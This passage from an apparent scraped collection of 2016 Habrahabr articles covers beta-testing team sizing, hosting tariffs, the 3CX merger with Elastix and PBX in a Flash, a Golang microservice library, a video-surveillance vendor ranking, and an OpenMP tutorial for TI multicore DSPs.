объявляется отборочный тур для участия в хакатоне: нужно добиться лучших результатов в игре Skiing на Atari. Первые 8 команд будут отобраны для участия, итоги отборочного тура будут подведены 22 января 2017-ого года. Будем рады видеть вас на хакатоне и научной школе!
https://habrahabr.ru/company/mipt/blog/318758/
habrahabr
[Перевод] Как правильно определить размер команды для beta-тестирования мобильного приложения
['бета-тестирование', 'мобильное тестирование']
При запуске нового приложения, каждый сталкивается с финальным этапом, когда вы вроде бы собрали в одно целое все, что только можно, перед запуском «следующей большой вещи» на рынок. И после 2-...
При запуске нового приложения, каждый сталкивается с финальным этапом, когда вы вроде бы собрали в одно целое все, что только можно, перед запуском «следующей большой вещи» на рынок. И после 2- и 3-кратной проверки уже начинает казаться, что продут готов и можно загружать приложение в магазин. Вот тут-то и надо притормозить. Вы уверены, что все основные баги были найдены и устранены? Согласно рыночному исследованию компании Ubertesters , 3 из 10 мобильных приложений, размещенных в сторах, содержат критические ошибки, на которые в свое время никто не обратил внимания. Это означает, что 30% приложений прямо сейчас доступных для загрузки, играют в русскую рулетку с пользователями. Как результат – все ваши колоссальные усилия могут пойти прахом в одночасье. Именно поэтому качественное тестирование мобильных приложений становится еще более актуальным, чем во времена многоплатформенной поддержки Java-приложений на кнопочные телефоны и первые массовые сматрфоны. Но возникает вопрос – какое количество тестировщиков необходимо использовать? Это один из ключевых камней преткновения, с которыми сталкиваются компании собирающие команду бета-специалистов. Существует большое количество факторов, которыми следует руководствоваться в этом вопросе. Мы предлагаем для решения этого вопроса свести вопрос к следующим 4-м критериям: 1. Размер проекта Первым фактором, влияющим на размер команды бета-татуировщиков, является размер ЦА продукта и доля рынка. Какой наплыв пользователей вы ожидаете (рабочая нагрузка), и почему ваша целевая аудитория заинтересована в использовании приложение? Как правило, вам нужно всего лишь около 5-10 тестировщиков для небольших независимых проектов; 25-40 тестировщиков для приложений массового использования; 200 или больше тестировщиков для тестирования игровых приложений. Вы можете разделить размеры проекта в эти пять категорий. Размер проекта Размер команды Минимально-необходимое количество бета-тестировщиков Крошечный 1-2 3-5 Мелкий до 20 10-15 Средний 250-400 30-50 Большой 500+ 200+ Enterprise 1000+ 500+ 2. География проекта Создание приложения, доступного на большом количестве локальных рынков, является чрезвычайно серьезной проблемой, которая может довольно просто угробить проект. Чтобы избежать этой участи, вам необходимо быть уверенным, что ваше приложение: • Полностью совместимо с локальными мобильными операторами и их сетями передачи данных (2G, 3G, 4G или LTE); • Правильно поддерживает местные языки и диалекты; • Удобно для использования людьми с разными культурными особенностями; • Корректно работает на популярных (для данного рынка) устройствах. Вот несколько типичных «мелких» проблем, которые могут запросто подпортить вам жизнь: 1. Локальные особенности отображения формата валюты (прим. переводчика: точка, запятая, положения знака валюты и т.п.). Многие команды разработчиков запросто упускают этот момент из виду. 2. Локальные способы ввода данных на клавиатуре. Вы можете получить абсолютно непредсказуемый результат, когда файлы клавиатуры не сконфигурированы под особенности конкретного языка или местности. 3. Проблемы связанные с базой данных. Убедитесь, что при сличении БД не возникают проблемы с используемыми не-ASCII символами. Кроме того, необходимо произвести проверку, если указан формат Unicode. 4. Проблемы рендера ASCII символов. Работа над тестированием такого проекта является задачей не для одного человека или даже небольшой команды специалистов. Для покрытия нескольких географических местоположений, ваша команда бета-тестировщиков должна включать около 100-300 человек, проверяющих стабильность работы приложения в реальных условиях Представьте себе, что вам нужно протестировать приложение, только на одной мобильной платформе. Рассмотрим, как будет увеличиваться размер команды в зависимости от числа целевых стран. Количество регионов (стран) Минимально-необходимое количество бета-тестировщиков 1 10-25 2-4 75-100 5-10 120-250 10+ 250+ 3. Сложность проекта Если вы хотите, чтобы проверить функциональность вашего приложения, то, как мы писали выше, вам необходима команда из 15 независимых бета-тестеров. Но если вы планируете запустить приложение в «максимальной комплектации», с GIS интеграцией, применением платежных систем и использованием POS-терминалов, и т.п., то вам необходимо гораздо больше людей. 4. Типы тестирования Существует большое количество видов тестирования, которые вы можете использовать в своем проекте. Список некоторых, наиболее популярных из них, представлены ниже. Менеджеры проекта рассчитываю время, необходимое для бета-тестирования приложения, как 15-25% от времени разработки, без его разбиения на различные типы тестирования. Это означает, что даже если вы соберете команду тестировщиков своей мечты, некоторые аспекты вашего приложения могут не быть хорошо протестированы. Вот почему вы должны использовать, по крайней мере 20-25 часов на каждый тип тестирования, в зависимости от сложности вашего проекта. Примечание Все вопросы, замечания или предложения вы можете отправить автору статьи. Источник статьи: TechBeacon . От переводчика: при переводе текста были убраны части информации, которые по мнению автора перевода дублируют описанное ранее.
https://habrahabr.ru/post/318754/
habrahabr
Новогодние тарифы на виртуальные и выделенные серверы
['vds', 'hosting', 'new year', 'data center', 'dedicated', 'vps', 'colocation', 'ispmanager', 'server']
В этом посте мы хотим поздравить всех с наступающим Новым Годом и в честь этого события вновь делаем новогодние тарифы! С учетом опыта «черной пятницы», мы поняли, что клиентам гораздо интереснее...
В этом посте мы хотим поздравить всех с наступающим Новым Годом и в честь этого события вновь делаем новогодние тарифы! С учетом опыта «черной пятницы», мы поняли, что клиентам гораздо интереснее специальные тарифы с фиксированной ценой на весь срок пользования услугой, чем «обычные» скидки на 3-6-12 месяцев, как у многих других компаний. Так же многим не хватало «маленького» тарифа, поэтому на Новый Год мы сделали 2 тарифа: New Year 2017 — Small 1 ядро процессора Intel Xeon v3 1 гигабайт DDR-4 оперативной памяти 18 гигабайт дискового пространства на enterprise SSD носителях 250 руб/мес New Year 2017 — Big 6 ядер процессора Intel Xeon v3 6 гигабайт DDR-4 оперативной памяти 100 гигабайт дискового пространства на enterprise SSD носителях 1500 руб/мес Тариф останется по такой стоимости до момента отказа от услуги, другими словами — цена будет выгодна не 3-6-12 месяцев, она будет зафиксирована на постоянной основе. Мы не просим от Вас огромных предоплат — достаточно оплатить первый месяц услуги и она будет активирована. Так же, как и в прошлый раз, мы сделали возможность расширения тарифов: Дополнительное ядро процессора — 80 руб/мес. Максимум 2 ядра в тарифе Small и 8 ядер в тарифе Big Дополнительная оперативная память — 80 руб/мес за каждый гигабайт, максимум — 2 Гб в тарифе Small и 10 Гб в тарифе Big. Дополнительное дисковое пространство — 100 руб/мес за каждые 10 гигабайт, максимум +30 Гб. Дополнительный IP адрес — 60 руб/мес, максимум — 5 IP адресов на сервер. Таким образом каждый сможет подобрать для себя нужную конфигурацию и зафиксировать ее стоимость на все время работы услуги. Акционные тарифы доступны на площадках в Москве и Нидерландах. Так же у нас есть немного выделенных серверов такой конфигурации, и мы тоже предлагаем их со скидкой: Intel Xeon E5-1620v2, 64gb RAM, 2x240gb SSD, 1gbit/sec канал с 30ТБ трафика — 6500 руб/мес Выделенные серверы доступны только на Московской площадке. В Москве наши серверы распологаются на площадке Многобайт В Нидерландах безупречную работу наших услуг обеспечивает дата центр Serverius расположенный в городе Меппел Надеюсь наше предложение интересно для пользователей хабра, буду рад ответить на все возникшие вопросы! Хочу пожелать обеспечить важные для каждого из нас проекты действительно надежным местом размещения. P.S. у нас уже накопилось небольшое количество клиентов с хабрахабра — будем очень рады видеть Ваши отзывы! С уважением, команда VDS.SH
https://habrahabr.ru/company/vds/blog/318734/
habrahabr
3CX объединяет сообщества Elastix и PBX in a Flash
['elastix', 'pbx in a flash', 'pbx appliance', '3cx', 'asterisk', 'freepbx']
Не так давно сразу два популярных производителя Asterisk сборок объявили о том, что следующие версии их систем будут работать на ядре 3CX! Мы приветствуем и гордимся тем, что в динамичное...
Не так давно сразу два популярных производителя Asterisk сборок объявили о том, что следующие версии их систем будут работать на ядре 3CX! Мы приветствуем и гордимся тем, что в динамичное сообщество 3CX влились обширные сообщества Elastix и PBX in a Flash ! Оба производителя уже некоторое время рассматривали замену ядра системы. Предыдущая версия PBX in a Flash работала на связке Asterisk и FreePBX и была подвержена лицензионным ограничениям . Аналогичная ситуация сложилась и с 4 версией системы Elastix . После выхода версии 3CX для Linux оказалось целесообразным объединить усилия сообществ и разработчиков для выпуска действительно первоклассных продуктов. Готовые сборки для развертывания АТС на “голом железе” получили новое технологическое ядро. Обе сборки уже были весьма популярны на рынке – например, только  Elastix имеет более 100000 зарегистрированных инсталляций и десятки тысяч ежедневных загрузок бесплатной версии. Поэтому мы постараемся учесть пожелания существующих пользователей. Например, уже сейчас для пользователей Elastix доступен удобный механизм миграции — конвертер конфигурации Elastix в 3CX . Мы также предлагаем всем существующим партнерам Elastix и PBX in a Flash продолжать поддерживать существующие партнерские отношения. Вы должны были получить e-mail с соответствующей информацией. Но если вы его не получили, заполните форму регистрации партнера и получите NFR лицензию здесь . Пользователи Elastix и PBX in a Flash получают бессрочную бесплатную лицензию на 8 одновременных вызовов (организация примерно на 25 пользователей). Для этого: Пользователи PBX in a Flash Загрузите ISO образ Получите бесплатную лицензию Пользователи Elastix Загрузите ISO образ Получите бесплатную лицензию Возможности, которые теперь доступны пользователям новых версий Elastix 5 и PBX in a Flash 5: Бесплатная версия, доступная как образ Debian 8 (Jessie) Linux ISO Бесплатная поддержка FQDN имени сервера 3CX на DNS Google с функцией DynDNS и бесплатные доверенные SSL сертификаты Let’s Encrypt Интегрированная система видеоконференций на технологии WebRTC Автоматическая настройка IP телефонов популярных производителей – как в локальной сети, так и для удаленных подключений Автоматическая настройка многих SIP операторов Официальная поддержка SIP шлюзов Patton, Beronet и Welltech Фирменные клиенты для Android и iOS с поддержкой PUSH уведомлений о вызовах Фирменные клиенты для Windows и Mac (для Windows – с панелью мониторинга колл-центра) Функции унифицированных коммуникаций – чат, статусы, факс и e-mail, голосовая почта и т.п. Встроенная система резервного копирования и отказоустойчивости Встроенная система предотвращения SIP вторжений В заключение, процитируем руководителей компаний: Эдгар Ландивар (Edgar Landivar), CEO Palosanto (ELastix): “Мы уже некоторое время искали замену имеющемуся коммутационному ядру. АТС 3CX – это простая, открытая и полная новых возможностей система. Развитие Linux версии и наличие бесплатной редакции делает ее отличным выбором для Elastix 5. Особенно нас впечатляют встроенные видеоконференции на технологии WebRTC. Я уверен, что пользователи Elastix только выиграют от этого решения.” Уорд Манди (Ward Mundy), разработчик PBX in a Flash: “Мы испытывали сложности с развитием следующей версии PBX in a Flash, учитывая маркетинговые шаги, предпринятые FreePBX. 3CX для Linux предлагает превосходное решение унифицированных коммуникаций, при этом гарантируя простую установку, минимальное администрирование и отличную безопасность. Простая схема лицензирования и наличие бесплатной версии практически идеальны для пользователей PBX in a Flash. Разработчики PBX in a Flash единогласно выбрали 3CX в качестве лучшей платформы для PIAF5”.
https://habrahabr.ru/company/3cx/blog/318760/
habrahabr
Микросервис на Golang
['микросервисы']
Среди беспорядка найдите простоту; среди раздора найдите гармонию; в трудности найдите возможность... (С) Альберт Эйнштейн Статей о микросервисах, их достоинствах и недостатках в последнее...
Среди беспорядка найдите простоту; среди раздора найдите гармонию; в трудности найдите возможность... (С) Альберт Эйнштейн Статей о микросервисах, их достоинствах и недостатках в последнее время написано немало. Однако как-то редко кто пишет об имплементации микросервисной архитектуры, и прежде всего, именно об микросервисе, как о кирпичике, из которой и строится потом здание такого приложения. Я попытался восполнить этот пробел, и поделиться своим опытом в разработке http-микросервиса, вылившемся в конечном счёте в небольшую библиотеку под не оставляющим места для сомнений названием Microservice. Код написан на прекрасно подходящем для микросервисов, простом и удобном языке программирования Golang. В последнее время мне довелось поработать над созданием микросервисов на языке Golang. Это был интересный опыт. Однако во многом получается (по крайней мере у меня), что каждый раз новый микросервис создаётся заново и с нуля. Конечно, можно использовать предыдущие наработки, но в таком подходе нет некоей системности, и мне захотелось сделать инструмент, который бы несколько упорядочил такую работу (искренне на это надеюсь). Не сомневаюсь, это не единственная идея в разработке микросервисов, но если вы ими интересуетесь, возможно, вам будет интересно прочитать данную статью. Что такое микросервис, я думаю, во избежание холивара, тут не стоит говорить. Также и о достоинствах и недостатках промолчим. Отмечу лишь, что они есть, и именно благодаря наличию оных микросервисная архитектура востребована. Архитектура микросервиса (тут и дальше речь о http микросервисе) в моей библиотеке включает в себя хэндлер, тюнер (конфигуратор), демонстрационный middleware. Работает всё очень просто: в приложении загружается конфигурация с учётом файла конфигурации, окружения и командной строки. Под нужные роуты формируется из middleware и хэндлера обработчик. Далее запускается сервер и по запросу приложение отрабатывает нужные очереди. По сути, это подходит и может быть использовано как прототип обычного http приложения, но пожалуй, для такого приложения я бы использовал немного другую архитектуру. Тюнер Важным моментом для микросервиса является загрузка конфигурации. Я постарался сделать этот функционал максимально гибким. По умолчанию конфигурация загружается из указанного файла (`config.toml`). Адрес файла конфигурации можно изменить из командной строки, например так: вашсервис -confile config.toml Таким образом можно создать несколько разных конфигурационных файла и запускать микросервис с одной из конфигураций по выбору. Поскольку в конфигурировании микросервиса задействован не только файл, но и переменные окружения и параметры командной строки, то уточню порядок и приоритетность конфигурирования. Самым низким приоритетом обладает конфигурация из файла. Если в операционной системе настроены переменные окружения, то они имеют более высокий приоритет, чем переменные из конфигурационного файла. Параметры командной строки имеют самый важный приоритет. Для изменения параметра в командной строке нужно указывать его название в виде названии раздела и названия параметра (с прописной буквы!). Вот пример изменения порта — вашсервис -Main/Port 85 Ещё немного о конфигурировании: помимо варианта с закидыванием конфигурации в заранее заготовленную структуру, вполне можно было бы использовать вариант импорта данных в обычный map , и потом спокойно использовать значения по ключу. У этого способа есть несомненное достоинство — не нужно добавляя данные в конфигурационный файл дублировать это в конфигурационной структуре. Т.е. всё проще и быстрее. Минусом же будет то, что ошибки неправильного указания ключа переносятся с этапа компиляции на этап выполнения, и кроме того, тут IDE уже не станет нам делать подсказки, что кстати, само по себе очень хорошо в плане защиты от опечаток и как следствие — ошибок. Middleware Чтобы не засорять пространство хэндлеров, в микросервисе предусмотрено использование сервисного функционала в стиле middleware (однако не совсем в классическом понимании гоферного миддлваре). К каждому такому сервису предъявляются минимальные требования: он должен принимать в качестве аргумента функцию, принимающую http.ResponseWriter, *http.Request и возвращать такую же функцию. В дистрибутиве продемонстрирован пример с подключением метрики для фиксации времени обработки запроса ( duration ). В зависимости от того, какие задачи решаются микросервисом и в каком окружении он это делает, почти наверняка вам потребуются и другие сервисы, например валидация. Рассмотрите для них возможность подключения к хэндлеру в качестве middleware . И обратите внимание, что демонстрационная метрика вынесена в отдельный подкаталог, чтобы подчеркнуть дистанцию между микросервисом и используемыми в нём middleware . Handler В дистрибутиве handler содержит в себе совсем мало кода. Однако именно его методы и являются теми хэндлерами, которые обработают поступивший запрос, всё остальное по сути обвес микросервиса. Если это так, то почему бы не сделать просто кучу автономных функций, которые и будет вызывать роутер? На это есть причина: благодаря объединению посредством структуры хэндлеры-методы теперь смогут иметь доступ (если потребуется) к полям структуры (общему контексту приложения). На самом деле очень удобно для каждого публичного метода (читай — обработчика) создать отдельный файл, например handle_hello_word.go , что впрочем не мешает организовать всё каким угодно другим образом. Создание нового хэндлера Для этого нужно просто создать новый публичный метод в handler , который на вход принимает http.ResponseWriter, *http.Request . Посмотрите созданный для демонстрации метод HelloWorld . Perfomance Для общего понимания того, что скорость работы микросервиса при использовании предложенной архитектуры будет достаточно высокой, приведу результаты бенчмарка, полученные мной на моём компьютере: BenchmarkMain-2 10000000 195 ns/op BenchmarkMainParallel-2 10000000 107 ns/op Зависимости Логер github.com/Sirupsen/logrus Роутер github.com/claygod/Bxog Конфиг github.com/BurntSushi/toml Любую из перечисленных библиотек можно заменить или дополнить, в данном случае они скорее призваны показать, в какую сторону развивать свой микросервис. Возможно, вам также полезно будет подключить логстеш и инфлюкс. Заключение Библиотека Microservice не претендует на лавры единственно верного решения, но при случае, надеюсь, сможет помочь вам сформировать архитектуру собственного http-микросервиса, став прототипом будущего приложения. Ссылки Библиотека github.com/claygod/microservice Документация godoc.org/github.com/claygod/temp/microservice-doc Report goreportcard.com/report/github.com/claygod/microservice UPD С учётом комментариев немного изменил библиотечку, удалив хранилище и подправив метод организации мидлваре (без очередей), что кстати, даже немного ускорило работу приложения в бенче.
https://habrahabr.ru/post/318720/
habrahabr
Вся правда о рейтинге производителей видеонаблюдения от ASmag
['видеонаблюдение', 'рейтинг']
Компания HikVision возглавила рейтинг производителей систем безопасности составляемый медиапорталом A&S и стала №1, мы писали лонгрид об этой компании пару дней назад. Сегодня мы подробно...
Компания HikVision возглавила рейтинг производителей систем безопасности составляемый медиапорталом A&S и стала №1, мы писали лонгрид об этой компании пару дней назад. Сегодня мы подробно рассмотрим весь рейтинг и всех производителей систем видеонаблюдения в нем представленных, для чего можно использовать рейтинг, а для чего категорически не стоит. А заодно объясним почему №1 это еще ничего не значит. Мы считаем рейтинги полезными и востребованными, к сожалению в индустрии систем видеонаблюдения существует лишь один рейтинг от A&S, и тот англоязычный. Рассмотрим его поподробней, какие у него недостатки, и как несмотря на них его можно использовать с пользой для себя. Критерии для составления рейтинга В основе любого рейтинга — критерии по которым он составляется, в случае с A&S критерия два. В рейтинге участвуют компании раскрывшие свою финансовую отчетность Для распределения мест в рейтинге используется выручка (Total Revenue) Рейтинг производителей систем видеонаблюдения Для удобства работы с рейтингом мы укажем — название компании, официальный сайт, страну, и выручку за 2015 год. Оригинальный рейтинг A&S смотрите здесь . В рейтинге 50 компаний, все они относятся к разным продуктовым группам, к системам видеонаблюдения относится 33 компании. 1. Hikvision, www.hikvision.com , China, 3 523 млн. $ 2. Dahua, www.dahuasecurity.com , China, 1506 млн. $ 3. Axis, www.axis.com , Sweden, 774 млн. $ 4. Flir systems, www.flir.ru , U.S., 730 млн. $ 5. Avigilon, www.avigilon.com , Canada, 281 млн. $ 6. Infinova,  www.infinova.com , U.S., 271 млн. $ 7. Tkh group,  www.tkhgroup.com , Netherlands, 135 млн. $ 8. Idis,  www.idisglobal.com , Korea, 128 млн. $ 9. Tamron,  www.tamron.co.jp , Japan, 127 млн. $ 10. Vivotek,  www.vivotek.com , Taiwan, 120 млн. $ 11. Verint, www.verint.com , U.S., 119 млн. $ 12. Milestone, www.milestonesys.com , Denmark, 89 млн. $ 13. Mobotix, www.mobotix.com , Germany, 73 млн. $ 14. Dynacolor, www.dynacolor.com.tw , Taiwan, 70 млн. $ 15. Geovision, www.geovision.com.tw , Taiwan, 66 млн. $ 16. Hdpro, www.hdprocctv.com , Korea, 64 млн. $ 17. Geutebrueck, www.geutebrueck.com , Germany, 2015 59 млн. $ 18. Avtech, www.avtech.com.tw , Taiwan, 50 млн. $ 19. Dali, www.dali-tech.com , China, 48 млн. $ 20. Hitron, www.hitron.co.kr , Korea, 47.5 млн. $ 21. Indigovision, www.indigovision.com , U.K., 47.1 млн. $ 22. Vicon, www.vicon-cctv.com , U.S., 45 млн. $ 23. C-pro, www.secubest.com , Korea, 36 млн. $ 24. Everfocus, www.everfocus.com.tw , Taiwan, 35.9 млн. $ 25. Acti, www.acti.com , Taiwan, 35.8 млн. $ 26. Costar, www.costartechnologies.com , U.S., 34 млн. $ 27. Incon, www.in-con.biz , Korea, 31 млн. $ 28. Itx security, www.itxsecurity.com , Korea, 30.9 млн. $ 29. Synectics, www.synecticsglobal.com , U.K., 25 млн. $ 30. Hi sharp, www.hisharp.com , Taiwan, 23 млн. $ 31. Hunt, www.hunt.com.tw , Taiwan, 17 млн. $ 32. Digital barriers, www.digitalbarriers.com , U.K., 16 млн. $ 33. Axxonsoft, www.axxonsoft.com , Russia, 4.9 млн. $ Отсутствующие публичные компании В рейтинге отсутствуют гигантские компании — Sony, Panasonic, Samsung, Pelco, D-Link, JVC, Canon. Многие из которых смело можно назвать технологическими лидерами отрасли. 34. Sony, www.pro.sony.com , Япония 35. Samsung Techwin, www.hanwhatechwin.com , Корея 36. Panasonic, www.panasonic.com , Япония 37. Canon, www.canon.ru , Япония 38. JVC, www.jvcpro.eu , Япония 39. D-Link, www.dlink.ru , Тайвань 40. Pelco, www.pelco.com , США 41. Bosch, www.boschsecurity.com/ru/ , Германия Системы видеонаблюдения одна из многих индустрий в которых они представлены, вероятно причиной их отсутствия является то, что они не захотели открыть A&S какая часть их выручки приходится на видеонаблюдение. Отсутствующие частные компании Часть крупных компаний не являются публичными, а значит у них нет обязательств по раскрытию своей финансовой отчетности. В первую очередь это касается китайских компаний, многие из которых имеют очень значительную выручку, особенно на своем рынке. Например Uniview заявляет ото он третий по величине производитель в Китае, однако выручку не раскрывает. 42. UNV, www.uniview.com , Китай Слишком разные виды оборудования Яркий пример компания Dahua — производит весь спектр оборудования для видеонаблюдения и Tamron — производит объективы. Сравнивать их в одном рейтинге бессмысленно и бесполезно. Структура выручки Критичный вопрос для рейтинга основанного на выручке, заключается в том, откуда эта выручка поступает. Например лидер рейтинга компания HikVision зарабатывает не только на продаже оборудования но и услугах выступая как интегратор. Видеонаблюдение бывает разным По оценке IHS во всем мире в 2014 году было продано около 250 миллионов видеокамер и только 20 процентов из них были сетевыми (IP), причем большая часть продаж аналогового оборудования приходится на страны азиатско-тихоокеанского региона. Отсюда еще одна проблема рейтинга, невозможно корректно сравнить Axis которая продает только сетевые видеокамеры и например китайские компании в ассортименте которых аналог присутствует в полном объеме, и всего скорее занимает немалую долю в обороте. Для чего можно использовать рейтинг Для того чтобы узнать размер выручки, и динамику ее изменения. Если вы собираетесь самостоятельно изучить производителей систем видеонаблюдения, рейтинг A&S неплохая отправная точка. Для чего нельзя использовать рейтинг Если вы хотите оценить и выбрать качественного производителя для своей системы видеонаблюдения. Что делать? Если рейтинг нельзя использовать для выбора вендора, а выбирать все таки нужно. На мой взгляд есть два варианта: Купить эти книги , и устроиться монтажником систем видеонаблюдения, потом проектировщиком, параллельно изучая теорию, читая наш блог и очень скоро вы во всем разберетесь. Зайти на нашу главную страницу по видеонаблюдению и заказать консультацию. P.S. Для всех неравнодушных, предлагаю написать в комментариях компании которые достойны быть в этом рейтинге. Давайте расширим список вместе.
https://habrahabr.ru/company/intems/blog/318750/
habrahabr
Программирование многоядерных DSP-процессоров TMS320C66x с использованием OpenMP
['DSP', 'сигнальные процессоры', 'TMS320C66x', 'цифровые сигнальные процессоры', 'многоядерные процессоры', 'многоядерные DSP', 'openmp']
В статье описывается подход к программированию многоядерных сигнальных процессоров на основе OpenMP. Рассматриваются директивы OpenMP, разбирается их смысл и варианты использования. Делается акцент...
В статье описывается подход к программированию многоядерных сигнальных процессоров на основе OpenMP. Рассматриваются директивы OpenMP, разбирается их смысл и варианты использования. Делается акцент на цифровых сигнальных процессорах. Примеры применения директив OpenMP выбраны приближенными к задачам цифровой обработки сигналов. Реализация проводится на процессоре TMS320C6678 фирмы Texas Instruments, включающем 8 DSP-ядер. В части I статьи рассматриваются основные директивы OpenMP. Во II части статьи планируется дополнить список директив, а также рассмотреть вопросы внутренней организации работы OpenMP и вопросы оптимизации программного обеспечения. Данная статья отражает лекционно-практический материал, предлагаемый слушателям в рамках курсов повышения квалификации по программе «Многоядерные процессоры цифровой обработки сигналов C66x фирмы Texas Instruments», проводимых ежегодно в Рязанском радиотехническом университете. Статья планировалась к публикации в одном из научно-технических журналов, но в силу специфики рассматриваемых вопросов было принято решение о накоплении материала для учебного пособия по многоядерным DSP-процессорам. А пока данный материал будет копиться, он вполне может полежать на страницах Интернета в свободном доступе. Отзывы и пожелания приветствуются. Введение Современная индустрия производства высокопроизводительных процессорных элементов переживает в настоящее время характерный виток, связанный с переходом к многоядерным архитектурам [1, 2]. Данный переход является мерой скорее вынужденной, чем естественным ходом эволюции процессоров. Дальнейшее развитие полупроводниковой техники по пути миниатюризации и повышения тактовых частот с соответствующим ростом вычислительной производительности стало невозможным по причине резкого снижения их энергоэффективности. Логичным выходом из сложившейся ситуации производители процессорной техники посчитали переход к многоядерным архитектурам, позволяющим наращивать вычислительную мощь процессора не за счет более быстрой работы его элементов, а за счет параллельной работы большого числа операционных устройств [1]. Данный виток характерен для процессорной техники в целом, и, в частности, для процессоров цифровой обработки сигналов с их специфическими областями применения и особыми требованиями к вычислительной эффективности, эффективности внутренних и внешних пересылок данных при одновременном малом энергопотреблении, размерах и цене. С точки зрения разработчика систем обработки сигналов реального времени, переход к использованию многоядерных архитектур цифровых сигнальных процессоров (ЦСП) можно выразить тремя основными проблемами. Первая – это освоение аппаратной платформы, ее возможностей, назначения тех или иных блоков и режимов их работы, заложенных производителем [1]. Вторая – адаптация алгоритма обработки и принципа организации системы для реализации на многоядерном ЦСП (МЦСП) [3]. Третья – разработка программного обеспечения (ПО) цифровой обработки сигналов, реализуемого на МЦСП. При этом разработка ПО для МЦСП имеет ряд принципиальных отличий от разработки традиционных одноядерных приложений, включая распределение тех или иных фрагментов кода по ядрам, разделение данных, синхронизацию ядер, обмен данными и служебной информацией между ядрами, синхронизацию кэш и другие. Одним из наиболее привлекательных решений для портирования имеющегося «одноядерного» ПО на многоядерную платформу или для разработки новых «параллельных» программных продуктов является инструментарий Open Multi-Processing (OpenMP). OpenMP представляет собой набор директив компилятору, функций и переменных окружения, которые могут встраиваться в стандартные языки программирования, в первую очередь, в наиболее распространенный язык Си, расширяя его возможности организацией параллельных вычислений. Это основное достоинство OpenMP-подхода. Не нужно изобретения/изучения новых языков параллельного программирования. Одноядерная программа легко превращается в многоядерную путем добавления в стандартный код простых и понятных директив компилятору. Все что нужно, это чтобы компилятор данного процессора поддерживал OpenMP. То есть производители процессоров должны позаботиться о том, чтобы их компиляторы «понимали» директивы OpenMP-стандарта и переводили их в соответствующие ассемблерные коды. Стандарт OpenMP разрабатывается ассоциацией нескольких крупных производителей вычислительной техники и регулируется организацией OpenMP Architecture Review Board (ARB) [4]. При этом он является универсальным, не предназначенным для конкретных аппаратных платформ конкретных производителей. Организация ARB открыто публикует спецификацию очередных версий стандарта [5]. Также представляет интерес краткий справочник по OpenMP [6]. В последнее время применению OpenMP в различных приложениях и на различных платформах посвящено огромное число работ [7-12]. Особый интерес представляют книги, позволяющие в полном объеме получить базовые знания по использованию OpenMP. В отечественной литературе это источники [13-16]. Данная работа посвящена описанию директив, функций и переменных окружения OpenMP. При этом спецификой работы является ее ориентация на задачи цифровой обработки сигналов. Примеры, иллюстрирующие смысл тех или иных директив, берутся с акцентом на реализацию на МЦСП. В качестве аппаратной платформы выбраны процессоры МЦСП TMS320C6678 фирмы Texas Instruments [17], включающие в свой состав 8 DSP-ядер. Данная платформа МЦСП является одной из передовых, пользующихся широким спросом на отечественном рынке. Кроме того, в работе рассматривается ряд вопросов внутренней организации механизмов OpenMP, имеющих значение для задач обработки сигналов реального времени, а также вопросы оптимизации. Постановка задачи Итак, пусть задача обработки состоит в формировании выходного сигнала, как суммы двух входных сигналов одинаковой длины: z(n) = x(n) + y(n), n = 0, 1, …, N-1 «Одноядерная» реализация данной задачи на стандартном языке Си/Си++ может выглядеть следующим образом: void vecsum(float * x, float * y, float * z, int N) { for ( int i=0; i<N; i++) z[i] = x[i] + y[i]; } Пусть теперь мы имеем 8-ядерный процессор TMS320C6678. Возникает вопрос, как задействовать возможности многоядерной архитектуры для реализации данной программы? Одним из решений является разработка 8 отдельных программ и независимая загрузка их на 8 ядер. Это чревато наличием 8 отдельных проектов, в которых необходимо учитывать совместные правила исполнения: расположение массивов в памяти, разделение частей массивов между ядрами и прочее. Кроме того, необходимо будет написание дополнительных программ, выполняющих синхронизацию ядер: если одно ядро завершило формирование своей части массива, это еще не значит, что весь массив готов; необходимо или вручную проверять, завершение работы всех ядер, или пересылать со всех ядер флаги завершения обработки на одно «главное» ядро, которое будет выдавать соответствующее сообщение о готовности выходного массива. Описанный подход может быть правильным и эффективным, однако, он достаточно сложен в реализации и в любом случае требует от разработчика существенной переработки имеющегося ПО. Нам бы хотелось иметь возможность перейти от одноядерной к многоядерной реализации с минимальными изменениями исходного программного кода! В этом и состоит задача, которую решает OpenMP. Начальные настройки OpenMP Перед началом использования OpenMP в своей программе, очевидно, необходимо подключить данный функционал к своему проекту. Для процессоров TMS320C6678 это означает модификацию файла конфигурации проекта и используемой платформы, а также включение в свойства проекта ссылок на компоненты OpenMP. Такие специфические для конкретной аппаратной платформы настройки мы не будем рассматривать в статье. Рассмотрим более общие начальные настройки OpenMP. Поскольку OpenMP является расширением языка Си, включение его директив и функций в свою программу должно сопровождаться включением файла описания этого функционала: #include <ti/omp/omp.h> Далее необходимо сообщить компилятору (и функционалу OpenMP) с каким числом ядер мы имеем дело. Отметим, что OpenMP работает не с ядрами, а с параллельными потоками. Параллельный поток – понятие логическое, а ядро – физическое, аппаратное. В частности, на одном ядре могут реализовываться несколько параллельных потоков. В то же время, по-настоящему параллельное исполнения кода, естественно, подразумевает, что число параллельных потоков совпадает с числом ядер, и каждый поток реализуется на своем ядре. В дальнейшем мы будем считать, что ситуация именно так и выглядит. Однако следует иметь в виду, что номер параллельного потока и номер ядра его реализующего не обязательно должны совпадать! К начальным настройкам OpenMP мы отнесем задание числа параллельных потоков с использованием следующей функции OpenMP: omp_set_num_threads(8); Мы задали число ядер (потоков) равным 8. Директива parallel Итак, мы хотим, чтобы код представленной выше программы исполнялся на 8 ядрах. С OpenMP для этого достаточно всего лишь добавить в код директиву parallel следующим образом: #include <ti/omp/omp.h> void vecsum (float * x, float * y, float * z, int N) { omp_set_num_threads(8); #pragma omp parallel { for ( int i=0; i<N; i++) z[i] = x[i] + y[i]; } } Все директивы OpenMP оформляются в виде конструкций вида: #pragma omp <имя_директивы> [опция[(,)][опция[(,)]] …]. В нашем случае никаких опций мы не используем, и директива parallel означает, что следующий за ней фрагмент кода, выделенный фигурными скобками, относится к параллельному региону и должен исполняться не на одном, а на всем заданном числе ядер. Мы получили программу, которая выполняется на одном главном или ведущем ядре (master core), а те фрагменты, которые выделены директивой parallel выполняются на заданном числе ядер, включая как ведущее, так и ведомые ядра (slave core). В полученной реализации один и тот же цикл суммирования векторов будет выполняться сразу на 8 ядрах. Типовая структура организации параллельных вычислений в OpenMP показана на рисунке 1. Рисунок 1. Принцип организации параллельных вычислений в OpenMP Исполнение программного кода всегда начинается с последовательного региона, исполняемого на одном ядре в ведущем потоке. В точке начала параллельного региона, обозначаемой соответствующей директивой OpenMP, 